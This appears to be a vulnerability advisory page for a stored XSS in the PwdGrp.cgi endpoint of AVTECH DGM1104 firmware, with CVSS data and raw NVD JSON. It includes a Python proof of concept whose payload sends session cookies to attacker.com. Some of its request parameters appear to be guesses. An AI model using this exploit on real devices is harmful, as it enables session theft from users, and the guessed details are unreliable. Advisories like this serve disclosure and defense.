Security Vulnerability Report
中文
CVE-2025-57202 CVSS 6.1 MEDIUM

CVE-2025-57202

Published: 2025-12-03 16:15:57
Last Modified: 2025-12-18 21:04:29

Description

A stored cross-site scripting (XSS) vulnerability in the PwdGrp.cgi endpoint of AVTECH SECURITY Corporation DGM1104 FullImg-1015-1004-1006-1003 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the username field.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:avtech:dgm1104_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:avtech:dgm1104:-:*:*:*:*:*:*:* - NOT VULNERABLE
AVTECH DGM1104 FullImg-1015
AVTECH DGM1104 FullImg-1004
AVTECH DGM1104 FullImg-1006
AVTECH DGM1104 FullImg-1003

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57202 PoC - Stored XSS in AVTECH DGM1104 PwdGrp.cgi # This PoC demonstrates how to inject malicious JavaScript via username field import requests import sys target_url = "http://<target_ip>/cgi-bin/PwdGrp.cgi" # XSS payload - steals session cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Alternative payload - basic alert demonstration xss_payload_alt = "<img src=x onerror='alert(\"XSS\")'>" def exploit_stored_xss(target_ip, payload): """ Exploits CVE-2025-57202 by injecting XSS payload into username field via PwdGrp.cgi endpoint. """ # Prepare the malicious username data = { "username": payload, "action": "add" # or appropriate action parameter } try: # Send the malicious request response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully: {payload}") print(f"[+] The XSS payload is now stored on the device") print(f"[+] It will execute when any user visits the affected page") return True else: print(f"[-] Failed to send payload. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [payload_type]") print(f"payload_type: 1 = cookie steal, 2 = alert demo (default: 1)") sys.exit(1) target_ip = sys.argv[1] payload_type = sys.argv[2] if len(sys.argv) > 2 else "1" target_url = f"http://{target_ip}/cgi-bin/PwdGrp.cgi" payload = xss_payload if payload_type == "1" else xss_payload_alt exploit_stored_xss(target_url, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57202", "sourceIdentifier": "[email protected]", "published": "2025-12-03T16:15:57.310", "lastModified": "2025-12-18T21:04:28.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in the PwdGrp.cgi endpoint of AVTECH SECURITY Corporation DGM1104 FullImg-1015-1004-1006-1003 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the username field."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:avtech:dgm1104_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "2EE9FE6D-6B3B-4244-84A6-7CA780064BE4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:avtech:dgm1104:-:*:*:*:*:*:*:*", "matchCriteriaId": "C94DD873-8D0F-4703-A27C-8DBCAE839BBC"}]}]}], "references": [{"url": "http://avtech.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://dmg1104.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/xchg-rax-rax/vulnerability-research/tree/main/CVE-2025-57202", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}